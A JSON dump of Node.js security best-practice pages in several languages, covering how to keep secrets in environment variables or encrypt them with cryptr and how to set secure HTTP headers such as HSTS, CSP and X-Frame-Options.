    "content": "# Atera sekretuak konfigurazio fitxategietatik edo erabili horiek enkriptatzen dituen npm paketea\r\n\r\n### Azalpena\r\nNode.js aplikazioari giltza eta sekretuetarako sarbidea emateko modurik ohikoena eta seguruena da gordetzea exekutatzen ari den sisteman ingurune aldagaiak erabiliz, eta, behin ezarri ondoren, `process.env`. objektu globaletik sar daiteke haietara. Aplikazio batek kodetik konfigurazio guztiak ondo konfiguratuta dituen ala ez egiaztatzeko erabakigarria da kode basea edozein unetan iturburu irekiko kode bihur daitekeen, kredentzialak arriskuan jarri gabe.\r\n\r\nSekretuak iturburu kodearen kontrolaren barruan gorde behar diren egoera arraroetarako, [cryptr](https://www.npmjs.com/package/cryptr) bezalako pakete bat erabiliz gero, enkriptatuta gorde daitezke testu arrunt moduan orde beharrean.\r\n\r\nBadaude hainbat tresna git commit erabiltzen dutenak commit-ak auditatzeko eta sekretuen ustekabeko gehitzeak izendatzeko, hala nola [git-secrets](https://github.com/awslabs/git-secrets).\r\n\r\n### Kode adibidea\r\n\r\nIngurune aldagai batean gordetako API giltza batera sartzea:\r\n\r\n```javascript\r\n    const azure = require('azure');\r\n\r\n    const apiKey = process.env.AZURE_STORAGE_KEY;\r\n    const blobService = azure.createBlobService(apiKey);\r\n```\r\n\r\nErabili `cryptr` enkriptatutako sekretua gordetzeko:\r\n\r\n```javascript\r\nconst Cryptr = require('cryptr');\r\nconst cryptr = new Cryptr(process.env.SECRET);\r\n\r\nlet accessToken = cryptr.decrypt('e74d7c0de21e72aaffc8f2eef2bdb7c1');\r\n\r\nconsole.log(accessToken);  // gordeta ez zegoen dekriptatutako testua bistaratzen du\r\n```\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n> Env var-ak erraz aldatzen dira inplementazioen artean inolako koderik aldatu gabe; konfigurazio fitxategiak ez bezala, aukera gutxi dago kodea gordailuan ustekabean egiaztatzeko; eta konfigurazio fitxategi pertsonalizatuak edo Java Sistema Propietateak bezalako beste konfigurazio mekanismo batzuk ez bezala, hizkuntza eta OS sistema agnostikoak dira. [Igorlea: 12 faktoreko aplikazioa](https://12factor.net/config)\r\n"
  },
  {
    "path": "sections/security/secretmanagement.brazilian-portuguese.md",
    "content": "# Extraia segredos dos config files ou use pacotes para criptografá-los\r\n\r\n### Explicação de um Parágrafo\r\n\r\nA maneira mais comum e segura de fornecer um acesso a aplicações Node.js para chaves e segredos é armazená-los usando variáveis ​​de ambiente no sistema em que ele está sendo executado. Depois de definidos, eles podem ser acessados ​​a partir do objeto global `process.env`.\r\nUm teste decisivo para determinar se um aplicativo tem todas as configurações corretamente consideradas fora do código é se a base de código pode ser de código aberto a qualquer momento, sem comprometer as credenciais.\r\n\r\nPara situações raras em que os segredos precisam ser armazenados dentro do controle de origem, usando um pacote como [cryptr](https://www.npmjs.com/package/cryptr) permite que estes sejam armazenados de forma criptografada, ao contrário de texto simples.\r\n\r\nHá uma variedade de ferramentas disponíveis que usam o git commit para auditar commits e enviar mensagens para acréscimos acidentais de segredos, como [git-secrets](https://github.com/awslabs/git-secrets).\r\n\r\n### Exemplo de código\r\n\r\nAcessando uma chave de API armazenada em uma variável de ambiente:\r\n\r\n```javascript\r\n    const azure = require('azure');\r\n\r\n    const apiKey = process.env.AZURE_STORAGE_KEY;\r\n    const blobService = azure.createBlobService(apiKey);\r\n```\r\n\r\nUsando `cryptr` para armazenar um segredo criptografado:\r\n\r\n```javascript\r\nconst Cryptr = require('cryptr');\r\nconst cryptr = new Cryptr(process.env.SECRET);\r\n \r\nlet accessToken = cryptr.decrypt('e74d7c0de21e72aaffc8f2eef2bdb7c1');\r\n \r\nconsole.log(accessToken);  // gera saída de string decriptografada que não foi armazenada no controle de origem\r\n```\r\n\r\n### O que outros blogueiros dizem\r\n\r\n> As variáveis ​​de env são fáceis de alterar entre as implementações sem alterar nenhum código; Ao contrário dos arquivos de configuração, há pouca chance de eles serem verificados no repositório de código acidentalmente; e, ao contrário dos arquivos de configuração personalizados ou de outros mecanismos de configuração, como as propriedades do sistema Java, eles são um padrão independente de linguagem e sistema operacional.[De: The 12 factor app](https://12factor.net/config)\r\n"
  },
  {
    "path": "sections/security/secretmanagement.french.md",
    "content": "# Retirez les secrets des fichiers de configuration ou utiliser des paquets pour les crypter\n\n### Un paragraphe d'explication\n\nLa façon la plus courante et la plus sûre de permettre à une application Node.js d'accéder à des clés et à des secrets est de les stocker en utilisant des variables d'environnement sur le système où elle est exécutée. Une fois ces variables définies, on peut y accéder à partir de l'objet global `process.env`.\nUn test décisif pour savoir si une application a correctement pris en compte toutes les configurations dans le code, c'est de savoir si la base du code peut être rendue open source à tout moment, sans compromettre les références.\n\nDans les rares cas où des secrets doivent être stockés dans le contenu des sources, l'utilisation d'un logiciel tel que [cryptr](https://www.npmjs.com/package/cryptr) permet de les stocker sous une forme cryptée plutôt qu'en texte brut.\n\nIl existe une variété d'outils qui utilisent git pour auditer les commits et les messages de commit pour les ajouts accidentels de secrets, tels que [git-secrets](https://github.com/awslabs/git-secrets).\n\n### Exemple de code\n\nAccès à une clé d'une API stockée dans une variable d'environnement :\n\n```javascript\n    const azure = require('azure');\n\n    const apiKey = process.env.AZURE_STORAGE_KEY;\n    const blobService = azure.createBlobService(apiKey);\n```\n\nUtilisation de `cryptr` pour stocker un secret crypté :\n\n```javascript\nconst Cryptr = require('cryptr');\nconst cryptr = new Cryptr(process.env.SECRET);\n \nlet accessToken = cryptr.decrypt('e74d7c0de21e72aaffc8f2eef2bdb7c1');\n \nconsole.log(accessToken);  // produit une chaîne décryptée qui n'a pas été stockée dans le contenu de la source\n```\n\n### Ce que disent les autres blogueurs\n\n> Les variables d'environnement sont faciles à modifier entre les déploiements sans changer le code, contrairement aux fichiers de configuration, il y a peu de chances qu'elles soient enregistrées accidentellement dans le dépôt de code et contrairement aux fichiers de configuration personnalisés ou à d'autres mécanismes de configuration tels que les propriétés du système Java, elles sont une norme qui ne tient pas compte du langage et du système d'exploitation. [Extrait de l'application 12 facteurs](https://12factor.net/config).\n"
  },
  {
    "path": "sections/security/secretmanagement.japanese.md",
    "content": "# 設定ファイルからシークレットを抽出する、もしくはパッケージを利用して暗号化する\r\n\r\n### 一段落説明\r\n\r\nNode.js アプリケーションにキーやシークレットを渡すための最も一般的で安全な方法は、実行環境における環境変数にそれらの値を格納することです。環境変数に設定することで、それらの値にグローバルオブジェクトである `process.env` オブジェクトからアクセスできるようになります。\r\nアプリケーションが全ての設定をコードから正しく抽出できているかどうかのリトマステストとしては、クレデンシャルを晒すことなくコードをいつでもオープンソースにすることができるかどうか、というものがあります。\r\n\r\nシークレットをソースコントロールの中に格納しなければならない稀な状況の場合においては、[cryptr](https://www.npmjs.com/package/cryptr) のようなパッケージを使用することで、平文ではなく暗号化された形で保存することができます。\r\n\r\n[git-secrets](https://github.com/awslabs/git-secrets) のように、git commit においてコミットやコミットメッセージを監査して、誤ってシークレットを追加されていないかをチェックするツールが多く存在します。\r\n\r\n### コード例\r\n\r\n環境変数に格納された API キーにアクセスする:\r\n\r\n```javascript\r\n    const azure = require('azure');\r\n\r\n    const apiKey = process.env.AZURE_STORAGE_KEY;\r\n    const blobService = azure.createBlobService(apiKey);\r\n```\r\n\r\n`cryptr` を使用して暗号化されたシークレットを保存する:\r\n\r\n```javascript\r\nconst Cryptr = require('cryptr');\r\nconst cryptr = new Cryptr(process.env.SECRET);\r\n \r\nlet accessToken = cryptr.decrypt('e74d7c0de21e72aaffc8f2eef2bdb7c1');\r\n \r\nconsole.log(accessToken);  // ソースコントロールに保存されていない、復号化された文字列を出力します\r\n```\r\n\r\n### 他のブロガーが言っていること\r\n\r\n> 環境変数は、コードを変更することなくデプロイごとに簡単に変更できる。設定ファイルとは異なり、誤ってリポジトリにチェックインされる可能性はほとんどない。また、独自形式の設定ファイルや Java System Properties など他の設定の仕組みとは異なり、環境変数は言語や OS に依存しない標準である。[The 12 factor app より](https://12factor.net/ja/config)\r\n"
  },
  {
    "path": "sections/security/secretmanagement.md",
    "content": "# Extract secrets from config files or use npm package that encrypts them\r\n\r\n### One Paragraph Explainer\r\n\r\nThe most common and secure way to provide a Node.js application access to keys and secrets is to store them using environment variables on the system where it is being run. Once set, these can be accessed from the global `process.env` object.\r\nA litmus test for whether an app has all config correctly factored out of the code is whether the codebase could be made open source at any moment, without compromising any credentials.\r\n\r\nFor rare situations where secrets do need to be stored inside source control, using a package such as [cryptr](https://www.npmjs.com/package/cryptr) allows these to be stored in an encrypted form as opposed to in plain text.\r\n\r\nThere are a variety of tools available which use git commit to audit commits and commit messages for accidental additions of secrets, such as [git-secrets](https://github.com/awslabs/git-secrets).\r\n\r\n### Code example\r\n\r\nAccessing an API key stored in an environment variable:\r\n\r\n```javascript\r\n    const azure = require('azure');\r\n\r\n    const apiKey = process.env.AZURE_STORAGE_KEY;\r\n    const blobService = azure.createBlobService(apiKey);\r\n```\r\n\r\nUsing `cryptr` to store an encrypted secret:\r\n\r\n```javascript\r\nconst Cryptr = require('cryptr');\r\nconst cryptr = new Cryptr(process.env.SECRET);\r\n \r\nlet accessToken = cryptr.decrypt('e74d7c0de21e72aaffc8f2eef2bdb7c1');\r\n \r\nconsole.log(accessToken);  // outputs decrypted string which was not stored in source control\r\n```\r\n\r\n### What other bloggers say\r\n\r\n> Env vars are easy to change between deploys without changing any code; unlike config files, there is little chance of them being checked into the code repo accidentally; and unlike custom config files, or other config mechanisms such as Java System Properties, they are a language- and OS-agnostic standard. [From: The 12 factor app](https://12factor.net/config)\r\n"
  },
  {
    "path": "sections/security/secretmanagement.polish.md",
    "content": "# Wyodrębnij dane wrażliwe z plików konfiguracyjnych lub użyj pakietu npm, który je szyfruje\n\n### Wyjaśnienie jednym akapitem\n\nNajczęstszym i bezpiecznym sposobem zapewnienia dostępu aplikacji Node.js do kluczy i kluczy tajnych jest przechowywanie ich przy użyciu zmiennych środowiskowych w systemie, w którym jest uruchomiona. Po ustawieniu można uzyskać do nich dostęp z globalnego obiektu `process.env`.\nTestem lakmusowym sprawdzającym, czy aplikacja poprawnie skonfigurowała konfigurację z kodu, jest to, czy baza kodu może zostać w dowolnym momencie otwarta, bez narażania jakichkolwiek poświadczeń.\n\nW rzadkich sytuacjach, w których tajemnice muszą być przechowywane w ramach kontroli źródła, za pomocą pakietu takiego jak [cryptr](https://www.npmjs.com/package/cryptr) pozwala na przechowywanie ich w postaci zaszyfrowanej w przeciwieństwie do zwykłego tekstu.\n\nIstnieje wiele dostępnych narzędzi, które używają git commit do kontrolowania zatwierdzeń i wysyłania komunikatów w celu przypadkowego dodania sekretów, takich jak [git-secrets](https://github.com/awslabs/git-secrets).\n\n### Przykład kodu\n\nDostęp do klucza API przechowywanego w zmiennej środowiskowej:\n\n```javascript\n    const azure = require('azure');\n\n    const apiKey = process.env.AZURE_STORAGE_KEY;\n    const blobService = azure.createBlobService(apiKey);\n```\n\nUżycie `cryptr` do przechowywania zaszyfrowanej danej wrażliwej:\n\n```javascript\nconst Cryptr = require('cryptr');\nconst cryptr = new Cryptr(process.env.SECRET);\n \nlet accessToken = cryptr.decrypt('e74d7c0de21e72aaffc8f2eef2bdb7c1');\n \nconsole.log(accessToken);  // outputs decrypted string which was not stored in source control\n```\n\n### Co mówią inni blogerzy\n\n> Env vars are easy to change between deploys without changing any code; unlike config files, there is little chance of them being checked into the code repo accidentally; and unlike custom config files, or other config mechanisms such as Java System Properties, they are a language- and OS-agnostic standard. [From: The 12 factor app](https://12factor.net/config)\n"
  },
  {
    "path": "sections/security/secretmanagement.russian.md",
    "content": "# Извлекайте секреты из конфигурационных файлов или используйте пакет npm, который их шифрует\r\n\r\n### Объяснение в один абзац\r\n\r\nНаиболее распространенным и безопасным способом предоставления приложению Node.js доступа к ключам и секретам является их хранение с использованием переменных среды в системе, в которой оно выполняется. После установки к ним можно получить доступ из глобального объекта `process.env`.\r\nЛакмусовая проверка того, правильно ли все приложения сконфигурированы из кода, заключается в том, можно ли сделать кодовую базу открытым исходным кодом в любой момент без ущерба для каких-либо учетных данных.\r\n\r\nВ редких случаях, когда секреты нужно хранить внутри системы контроля версий, использование пакета, такого как [cryptr](https://www.npmjs.com/package/cryptr), позволяет хранить их в зашифрованном виде, а не в простой текст.\r\n\r\nСуществует множество инструментов, которые используют git commit для аудита коммитов и коммитов сообщений для случайного добавления секретов, таких как [git-secrets](https://github.com/awslabs/git-secrets).\r\n\r\n### Пример кода\r\n\r\nДоступ к ключу API, хранящемуся в переменной среды:\r\n\r\n```javascript\r\n    const azure = require('azure');\r\n\r\n    const apiKey = process.env.AZURE_STORAGE_KEY;\r\n    const blobService = azure.createBlobService(apiKey);\r\n```\r\n\r\nИспользование `cryptr` для хранения зашифрованного секрета:\r\n\r\n```javascript\r\nconst Cryptr = require('cryptr');\r\nconst cryptr = new Cryptr(process.env.SECRET);\r\n \r\nlet accessToken = cryptr.decrypt('e74d7c0de21e72aaffc8f2eef2bdb7c1');\r\n \r\nconsole.log(accessToken);  // outputs decrypted string which was not stored in source control\r\n```\r\n\r\n### Что говорят другие блогеры\r\n\r\n> Переменные среды легко переключать между развертываниями без изменения кода; в отличие от конфигурационных файлов, существует небольшая вероятность того, что они случайно попадут в репозиторий; и в отличие от пользовательских файлов конфигурации или других механизмов конфигурации, таких как Java System Properties, они являются независимым от языка и ОС стандартом. [От:  The 12 factor app](https://12factor.net/config)\r\n"
  },
  {
    "path": "sections/security/secureheaders.basque.md",
    "content": "# Erabili segurtasunarekin lotutako goiburuak zure aplikazioa eraso arrunten aurka babesteko\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nBadira segurtasunarekin lotutako goiburuak, zure aplikazioaren segurtasuna hobetzeko erabil daitezkeenak. Beheko zerrendan dituzu goibururik garrantzitsuenak. Orrialde honen behealdean ageri diren esteken guneak ere bisita ditzakezu gai honi buruzko informazio gehiago lortzeko. Goiburuok erraz ezar ditzakezu kaskoa moduluaren bidez (Expressentzat [Helmet](https://www.npmjs.com/package/helmet) ([Helmet for koa](https://www.npmjs.com/package/koa-helmet)).\r\n\r\n<br/><br/>\r\n\r\n### Table of Contents\r\n\r\n- [HTTP Garraio Segurtasun Zorrotza (HSTS)](#http-garraio-segurtasun-zorrotza-hsts)\r\n- [HTTPko giltza publikoak ainguratzea (HPKP)](#httpko-giltza-publikoak-ainguratzea-hpkp)\r\n- [X-Frame-Aukerak (X-Frame-Options)](#x-frame-aukerak-x-frame-options)\r\n- [X-XSS-Babesa (X-XSS-Protection)](#x-xss-babesa-x-xss-protection)\r\n- [X-Eduki-Mota-Aukerak (X-Content-Type-Options)](#x-eduki-mota-aukerak-x-content-type-options)\r\n- [Erreferentziazko politika (Referrer-Policy)](#erreferentziazko-politika-referrer-policy)\r\n- [Espero-CT (Expect-CT)](#espero-ct-expect-ct)\r\n- [Edukiaren Segurtasun Politika (Content-Security-Policy)](#edukiaren-segurtasun-politika-content-security-policy)\r\n- [Baliabide Osagarriak](#baliabide-osagarriak)\r\n\r\n<br/><br/>\r\n\r\n### HTTP Garraio Segurtasun Zorrotza (HSTS)\r\n\r\nHTTP Strict Transport Security (HSTS) webguneen segurtasun politikaren mekanismo bat da, webguneak babesteko [protokoloen degradazio eraso](https://en.wikipedia.org/wiki/Downgrade_attack) eta [cookieen bahiketaren](https://www.owasp.org/index.php/Session_hijacking_attack) aurka, eta web zerbitzariak ahalbidetzen ditu adierazteko web nabigatzaileei (edo baldintzak betetzen dituzten beste erabiltzaile batzuei) **HTTPS konexio seguruak** erabiliz soilik gauzatu behar direla elkarren arteko harremanak eta **inoiz ez** HTTP protokolo ez seguruaren bidez. HSTS gidalerroa `Strict-Transport-Security` goiburua erabiliz ezartzen da lehendik dagoen HTTPS konexio baten bidez .\r\n\r\nStrict-Transport-Security Header-ek gehieneko balioa (`max-age`) onartzen du, segundotan adierazia, nabigatzaileari jakinarazteko zenbat denbora duen webgunean sartzeko HTTPS soilik erabiliz; gainera, beste balio bat ere onartzen du, `includeSubDomains` izenekoa, Garraioaren Segurtasun Zorrotzaren araua webgunearen azpidomeinu guztiei aplikatze aldera.\r\n\r\nGoiburu adibidea: HSTS gidalerroak astebetez gaituta, azpidomeinuak barne Strict-Transport-Security: max-age = 2592000; includeSubDomains\r\n\r\n```\r\nStrict-Transport-Security: max-age=2592000; includeSubDomains\r\n```\r\n\r\n🔗 [Irakurri OWASP Secure Headers Project proiektua](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hsts)\r\n\r\n🔗 [Irakurri MDN web dokumentua](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security)\r\n\r\n<br/><br/>\r\n\r\n### HTTPko giltza publikoak ainguratzea (HPKP)\r\n\r\nHTTP Public Key Pinning (HPKP) segurtasun mekanismo bat da, gaizki jaulkitako edo iruzurrezko SSL / TLS ziurtagiriak erabiliz erasotzaileek egindako nortasun faltsutzeei aurre egitea ahalbidetzen diena HTTPS webguneei.\r\n\r\nHTTPS web zerbitzariak giltza publikoen traolen zerrenda eskaintzen du, eta ondorengo konexioetan bezeroek espero dute zerbitzariak giltza publiko horietako bat edo gehiago erabiltzea bere ziurtagirien katean. Ezaugarri hori arretaz erabilita, man-in-the-middle (MITM) erasoak eta autentifikazio faltsuko beste arazo batzuk murriztu ditzakezu zure aplikazioko erabiltzaileek gehiegizko arriskurik izan gabe.\r\n\r\nInplementatu aurretik, `Expect-CT` goiburua begiratu beharko zenuke, malgutasun handia daukalako ezarpen okerrak berreskuratzeko eta bestelako [abantailak](https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ) ere badituelako.\r\n\r\nPublic-Key-Pins goiburuak 4 balio onartzen ditu: `pin-sha256` balioa, ziurtagiriaren giltza publikoa gehitzeko SHA256 algoritmoa erabiliz traolatua, hau da, hainbat aldiz gehi daitekeena hainbat giltza publikori; gehieneko adinaren balioa, nabigatzaileari esateko nola aplikatu beharko lukeen beti araua; `includeSubDomains` balioa, arau hori azpidomeinu guztiei aplikatzeko; eta `report-uri` balioa, pinaren baliozkotzearen erroreak jakinarazteko emandako URLan.\r\n\r\nGoiburu adibidea: HPKP gidalerroa astebetez gaituta, azpidomeinuak barne, ohartarazi hutsegiteak adibide URL bati eta onartu bi giltza publiko\r\n\r\n```\r\nPublic-Key-Pins: pin-sha256=\"d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM=\"; pin-sha256=\"E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=\"; report-uri=\"http://example.com/pkp-report\"; max-age=2592000; includeSubDomains\r\n```\r\n\r\n🔗 [Irakurri OWASP Secure Headers Project proiektua](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hpkp)\r\n\r\n🔗 [Irakurri MDN web dokumentua](https://developer.mozilla.org/en-US/docs/Web/HTTP/Public_Key_Pinning)\r\n\r\n<br/><br/>\r\n\r\n### X-Frame-Aukerak (X-Frame-Options)\r\n\r\nX-Frame-Aukerak goiburuak aplikazioa babesten du [Clickjacking](https://www.owasp.org/index.php/Clickjacking) erasoen aurka, fotogramak erabiliz zure aplikazioa (kanpoko) beste orrialdeetan txerta daitekeen ala ez erabakitzen duen politika ezarriz.\r\n\r\nX-Frame-Aukerek 3 parametro onartzen ditu: parametro bat, baliabidea txertatzea ez onartzeko (`deny`), oro har; aurrekoaren jatorri bera (`sameorigin`) duen beste parametro bat, baliabidea ostalari/jatorri berean (`allow-from`) txertatzeko baimena emateko; eta baimenaren parametroa, baliabidea txertatzeko ostalaria zehazteko.\r\n\r\nGoiburu adibidea: ukatu zure aplikazioa kapsulatzea\r\n\r\n```\r\nX-Frame-Options: deny\r\n```\r\n\r\n🔗 [Irakurri OWASP Secure Headers Project proiektua](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xfo)\r\n\r\n🔗 [Irakurri MDN web dokumentuak](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)\r\n\r\n<br/><br/>\r\n\r\n### X-XSS-Babesa (X-XSS-Protection)\r\n\r\nGoiburu honek [Cross-site scripting](<https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)>) iragazkia gaitzen du zure nabigatzailean.\r\n\r\n4 parametro onartzen ditu: `0` parametroa, iragazkia desgaitzeko; `1` parametroa, iragazkia gaitzeko, eta orriaren higienizazio automatikoa ahalbidetzeko; `mode=block` parametroa, iragazkia gaitzeko eta orria agerian jartzea eragozteko XSS erasoren bat atzematen bada (parametro hori 1i gehitu behar zaio puntua eta koma erabiliz); eta `report=<domainToReport>` parametroa, arau haustearen berri emateko (parametro hau `1`i gehitu behar zaio).\r\n\r\nGoiburu adibidea: gaitu XSS babesa eta jakinarazi urraketak adibidearen URLari\r\n\r\n```\r\nX-XSS-Protection: 1; report=http://example.com/xss-report\r\n```\r\n\r\n🔗 [Irakurri OWASP Secure Headers Project proiektua](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xxxsp)\r\n\r\n🔗 [Irakurri OWASP Secure Headers Project proiektua](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection)\r\n\r\n<br/><br/>\r\n\r\n### X-Eduki-Mota-Aukerak (X-Content-Type-Options)\r\n\r\nGoiburu hau ezarriz gero, Nabigatzaileak eragotziko du [fitxategiak interpretatzea artxiboak HTTP](https://en.wikipedia.org/wiki/Content_sniffing) goiburuetako edukietan adierazitakoaz beste zerbait bezala.\r\n\r\nGoiburu adibidea: jarraitu arrastoa debekatutako edukiari\r\n\r\n```\r\nX-Content-Type-Options: nosniff\r\n```\r\n\r\n🔗 [Irakurri OWASP Secure Headers Project proiektua](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xcto)\r\n\r\n🔗 [Irakurri MDN web dokumentuak](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options)\r\n\r\n<br/><br/>\r\n\r\n### Erreferentziazko politika (Referrer-Policy)\r\n\r\nHTTP Referer-Policy goiburuak arautzen du Erreferentzia (Referer) goiburuan bidalitako erreferentziazko informaziotik zein aukeratu behar den egindako eskaerekin batera sartzeko.\r\n\r\n8 parametro onartzen ditu: erreferentziarik gabeko parametro bat (`no-referrer`), Erreferentzia (Referer) goiburua erabat kentzeko; `no-referrer-when-downgrade` parametroa Erreferentzia (`Referer`) goiburua kentzeko, adibidez, HTTPS -> HTTP; jatorrizko parametro bat ostalariaren erroa erreferentzia gisa **soilik** bidaltzeko; `origin-when-cross-origin` parametro bat jatorrizko URL osoa bidaltzeko jatorrian bertan dagoenean eta ostalariaren jatorria bidaltzeko jatorrian bertan ez dagoenean **bakarrik**; parametro bat bere webgune berera soilik erreferentziazko informazioa bidaltzeko eta informaziorik ez bidaltzeko jatorri gurutzatuko eskaerak daudenean; `strict-origin-when-cross-origin` parametro zorrotz bat erreferentziazko URL osoa jatorri bereko helmuga batera bidaltzeko; jatorria segurtasun maila bereko jatorri gurutzatuko helmugara **soilik** eta erreferentziarik ez hain segurua jatorri gurutzatuko helmuga batean; eta `unsafe-url` parametroa jatorri **bereko** edo jatorri gurutzatuko helmugetara bidaltzeko erreferentzia osoa.\r\n\r\nGoiburu adibidea: kendu erabat Erreferentzia (`Referer`) goiburua\r\n\r\n```\r\nErreferentziazko politika: erreferentziarik ez (no-referrer)\r\n```\r\n\r\n🔗 [Irakurri OWASP Secure Headers Project proiektua](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#rp)\r\n\r\n🔗 [Irakurri MDN web dokumentuak](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)\r\n\r\n<br/><br/>\r\n\r\n### Espero-CT (Expect-CT)\r\n\r\nZerbitzari batek Expect-CT goiburua erabiltzen du esateko nabigatzaileek ebaluatu behar dituztela goiburua igortzen duen ostalariarekin konexioak, [ziurtagiriaren gardentasuna](https://www.certificate-transparency.org/) betetze aldera.\r\n\r\nGoiburu honek 3 parametro onartzen ditu: `report-uri` parametroa, izateko URL helbideren bat, zeini emango zaion Expect-CTn izandako hutsegiteen berri; betearazteko parametroa, nabigatzaileari adierazteko ziurtagiriaren gardentasuna egikaritu behar dela (jakinarazi bakarrik ez, egikaritu egin da) eta uko egin behar zaiela ziurtagiriaren gardentasuna betetzen ez duten etorkizuneko konexioei; eta gehieneko adinaren parametroa (`max-age`), nabigatzaileak ostalariari adierazteko zenbat segunduan hartuko duen nabigatzaileak Expect-CT ostalaria ostalari ezaguntzat.\r\n\r\nGoiburu adibidea: ziurtatu ziurtagiriaren gardentasuna astebetez eta eman adibidearen berri URLari\r\n\r\n```\r\nExpect-CT: max-age=2592000, enforce, report-uri=\"https://example.com/report-cert-transparency\"\r\n```\r\n\r\n🔗 [Irakurri OWASP Secure Headers Project proiektua](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#ect)\r\n\r\n<br/><br/>\r\n\r\n### Edukiaren Segurtasun Politika (Content-Security-Policy)\r\n\r\nHTTP Edukiaren-Segurtasuna-Politika (Content-Security-Policy) erantzun goiburuak aukera ematen du erabiltzaileen agenteak orrialde jakin batera zer baliabide igo ditzakeen kontrolatzeko.\r\nSalbuespenak salbuespen, gidalerroek, gehienetan, zerbitzariaren jatorria eta script amaierako puntuak zehaztea eskatu ohi dute. Horrek [guneen arteko scripting erasoen (XSS)](<https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)>) babesa ematen du.\r\n\r\nGoiburu adibidea: gaitu CSP eta exekutatu jatorri bereko scriptak soilik\r\n\r\n```\r\nContent-Security-Policy/Edukiaren-Segurtasuna-Politika: script-src 'auto'\r\n```\r\n\r\nEdukia-Segurtasuna-Politika (Content-Security-Policy) erabiliz gaitutako politika asko daude, jarraian dituzun guneen esteketan aurki daitezkeenak.\r\n\r\n🔗 [Irakurri OWASP Secure Headers Project proiektua](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#csp)\r\n\r\n🔗 [Irakurri MDN web dokumentuak](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)\r\n\r\n<br/><br/>\r\n\r\n### Baliabide osagarriak\r\n\r\n🔗 [OWASP Secure Headers proiektua](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#tab=Headers)\r\n\r\n🔗 [Node.js segurtasun zerrenda (RisingStack)](https://blog.risingstack.com/node-js-security-checklist/)\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/secureheaders.brazilian-portuguese.md",
    "content": "# Ajuste os headers de resposta HTTP para uma segurança aprimorada\r\n\r\n<br/><br/>\r\n\r\n\r\n### Explicação em um Parágrafo\r\n\r\nExistem cabeçalhos relacionados à segurança usados ​​para proteger ainda mais seu aplicativo. Os cabeçalhos mais importantes estão listados abaixo. Você também pode visitar os sites vinculados na parte inferior desta página para obter mais informações sobre esse tópico. Você pode facilmente definir esses cabeçalhos usando o módulo [Helmet](https://www.npmjs.com/package/helmet) para express ([Helmet para koa](https://www.npmjs.com/package/koa-helmet)).\r\n\r\n<br/><br/>\r\n\r\n### Índice\r\n- [Segurança de Transporte Restrita HTTP (HSTS)](#segurança-de-transporte-restrita-http-hsts)\r\n- [Pino de Chave Pública para HTTP (HPKP)](#pino-de-chave-pública-para-http-hpkp)\r\n- [X-Frame-Options](#x-frame-options)\r\n- [X-XSS-Protection](#x-xss-protection)\r\n- [X-Content-Type-Options](#x-content-type-options)\r\n- [Referrer-Policy](#referrer-policy)\r\n- [Expect-CT](#expect-ct)\r\n- [Content-Security-Policy](#content-security-policy)\r\n- [Recursos Adicionais](#recursos-adicionais)\r\n\r\n<br/><br/>\r\n\r\n### Segurança de Transporte Restrita HTTP (HSTS)\r\n\r\nSegurança de Transporte Restrita HTTP (HSTS) é um mecanismo de política de segurança da Web para proteger sites contra [ataques de downgrade de protocolo](https://en.wikipedia.org/wiki/Downgrade_attack) e [sequestro de cookie](https://www.owasp.org/index.php/Session_hijacking_attack). Ele permite que os servidores da Web declarem que os navegadores da Web (ou outros agentes de usuários compatíveis) só devem interagir com ele usando __conexões HTTPS seguras__ e __nunca__ através do protocolo HTTP inseguro. A política de HSTS é implementada usando o cabeçalho `Strict-Transport-Security` sobre uma conexão HTTPS existente.\r\n\r\nO cabeçalho Strict-Transport-Security aceita um valor `max-age` em segundos, para notificar o navegador quanto tempo deve acessar o site usando somente HTTPS, e um valor` includeSubDomains` para aplicar a regra Strict Transport Security a todos os subdomínios do site.\r\n\r\nExemplo de cabeçalho - Diretiva HSTS habilitada por uma semana, inclui subdomínios\r\n```\r\nStrict-Transport-Security: max-age=2592000; includeSubDomains\r\n```\r\n\r\n🔗 [Leia em OWASP Projeto de Cabeçalhos Seguros](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hsts)\r\n\r\n🔗 [Leia na documentação web da MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security)\r\n\r\n<br/><br/>\r\n\r\n### Pino de Chave Pública para HTTP (HPKP)\r\n\r\nPino de Chave Pública para HTTP (HPKP) é um mecanismo de segurança que permite que os sites HTTPS resistam à falsificação de identidade por invasores usando certificados SSL/TLS mal-emitidos ou fraudulentos.\r\n\r\nO servidor da Web HTTPS fornece uma lista de hashes de chave pública e, em conexões subsequentes, os clientes esperam que o servidor use uma ou mais dessas chaves públicas em sua cadeia de certificados. Usando esse recurso com cuidado, você pode reduzir muito o risco de ataques MITM (man-in-the-middle) e outros problemas de autenticação falsos para os usuários do seu aplicativo sem incorrer em riscos indevidos.\r\n\r\nAntes de implementar, você deve olhar primeiro para o cabeçalho `Expect-CT`, devido à sua flexibilidade avançada para recuperação de erros de configuração e outras 